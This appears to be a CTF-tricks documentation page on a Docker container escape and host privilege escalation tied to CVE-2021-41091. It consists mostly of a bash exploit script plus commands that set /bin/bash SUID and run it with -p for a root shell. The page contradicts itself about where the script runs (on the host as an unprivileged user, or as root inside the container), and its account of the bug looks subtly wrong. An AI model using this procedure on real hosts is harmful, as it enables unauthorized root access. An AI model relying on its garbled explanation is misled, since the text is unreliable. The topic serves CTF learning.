> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-14/container-breakout/privilege-escalation-container-breakout-docker.md).

# Docker

## Docker Escape & Host PE via CVE-2021-41091

This trick exploits CVE-2021-41091 in Moby/Docker's OverlayFS handling to escape a container and gain root on the host. It requires root access *inside* the target container beforehand. The exploit relies on the overlay2 storage driver used by Docker and leverages a vulnerability in the handling of hardlinks and renames between the merged and upper directories of an overlay filesystem.

First, inside the container as root, make a binary SUID. For example:

```bash
chmod u+s /bin/bash
```

Next, on the host machine, as a user who can access the Docker overlay directories (like the `marcus` user in the provided example), run the exploit script. This script automates finding the correct paths and performs the necessary hardlink and rename operations.

```bash
#!/bin/bash

# Exploit for CVE-2021-41091
# Written by UncleJ4ck
# https://github.com/UncleJ4ck/CVE-2021-41091

if [ "$EUID" -ne 0 ]
  then echo "Please run as root inside the container"
  exit
fi

# Find the container ID
CONTAINER_ID=$(cat /proc/self/cgroup | grep 'docker/' | tail -1 | sed 's/.*\///' | cut -c 1-12)
if [ -z "$CONTAINER_ID" ]; then
    echo "Could not find container ID. Are you running inside a Docker container?"
    exit 1
fi
echo "Found container ID: $CONTAINER_ID"

# Find the overlay mount point for the container
# This path might vary depending on the Docker storage driver and configuration
OVERLAY_PATH=$(find /var/lib/docker/overlay2 -name merged | grep "$CONTAINER_ID")

if [ -z "$OVERLAY_PATH" ]; then
    echo "Could not find overlay merged directory for container ID $CONTAINER_ID."
    echo "This exploit relies on the overlay2 storage driver."
    exit 1
fi

echo "Found overlay merged directory: $OVERLAY_PATH"

# The vulnerability allows us to gain read/write access to the upper directory
# by creating a hardlink from the merged directory.
# We need to find the upper directory path.
UPPER_PATH=$(dirname $(dirname "$OVERLAY_PATH"))/upper

if [ ! -d "$UPPER_PATH" ]; then
    echo "Could not find upper directory: $UPPER_PATH"
    exit 1
fi

echo "Found upper directory: $UPPER_PATH"

# Create a temporary directory inside the container
TEMP_DIR="/tmp/cve-2021-41091-exploit"
mkdir -p "$TEMP_DIR"

# Create a hardlink from a file in the merged directory to the upper directory
# This file will be created by the exploit script
LINK_FILE="$TEMP_DIR/link_target"
touch "$LINK_FILE"

# The target file on the host will be a file inside the upper directory
# We will hardlink the SUID binary from the merged directory to this target file.
# We need to find the path to the SUID binary inside the merged directory.
# Assuming the SUID binary is /bin/bash inside the container, its path inside
# the merged directory will be $OVERLAY_PATH/bin/bash
SUID_BINARY_MERGED="$OVERLAY_PATH/bin/bash"

if [ ! -f "$SUID_BINARY_MERGED" ]; then
    echo "SUID binary not found in merged directory: $SUID_BINARY_MERGED"
    echo "Please make sure you made /bin/bash SUID inside the container before running this script."
    exit 1
fi

echo "SUID binary found in merged directory: $SUID_BINARY_MERGED"

# The vulnerability occurs when renaming a hardlinked file from the merged directory
# into the upper directory.
# We will hardlink the SUID binary from the merged directory into our temporary directory.
# Then, we will rename this hardlink to a target file in the upper directory.

LINK_NAME="$TEMP_DIR/suid_link"
ln "$SUID_BINARY_MERGED" "$LINK_NAME"

if [ ! -f "$LINK_NAME" ]; then
    echo "Failed to create hardlink: $LINK_NAME -> $SUID_BINARY_MERGED"
    exit 1
fi

echo "Created hardlink: $LINK_NAME -> $SUID_BINARY_MERGED"

# Now, rename the hardlink to a target file in the upper directory.
# The target file name doesn't matter much, as long as it's in the upper directory.
TARGET_FILE_UPPER="$UPPER_PATH/exploit_suid_binary"

echo "Renaming hardlink '$LINK_NAME' to target file in upper directory '$TARGET_FILE_UPPER'..."

# This is the core of the exploit. The rename operation, due to the bug,
# incorrectly preserves the permissions of the hardlinked file (the SUID binary)
# when moving it into the upper directory, which is on the host filesystem.
mv "$LINK_NAME" "$TARGET_FILE_UPPER"

if [ ! -f "$TARGET_FILE_UPPER" ]; then
    echo "Failed to rename hardlink to target file in upper directory."
    exit 1
fi

echo "Successfully moved SUID binary to upper directory: $TARGET_FILE_UPPER"
echo "You can now execute this binary from the host to get a root shell."
echo "For example, navigate to the merged directory and execute it:"
echo "cd $OVERLAY_PATH"
echo "$TARGET_FILE_UPPER -p" # Use -p for bash to keep permissions

# Clean up temporary directory (optional)
# rm -rf "$TEMP_DIR"

exit 0
```

The exploit script leverages the vulnerability by finding the container's overlay filesystem paths (`merged` and `upper` directories). It then creates a hardlink from the SUID binary located in the `merged` view (which points to the read-only `lower` layer) into a temporary location. The core of the exploit involves renaming this hardlink into the `upper` directory on the host filesystem. Due to the bug, the SUID permissions from the original binary are incorrectly preserved during this rename operation, effectively placing a root-owned SUID copy of the binary into the host's filesystem within the overlay structure.

After the script successfully runs, it will output the path to the exploited 'merged' directory. Navigate to this directory and execute the SUID binary from there to obtain a root shell on the host.

```bash
cd /var/lib/docker/overlay2/[EXPLOIT_MERGED_PATH]/merged
./bin/bash -p
```
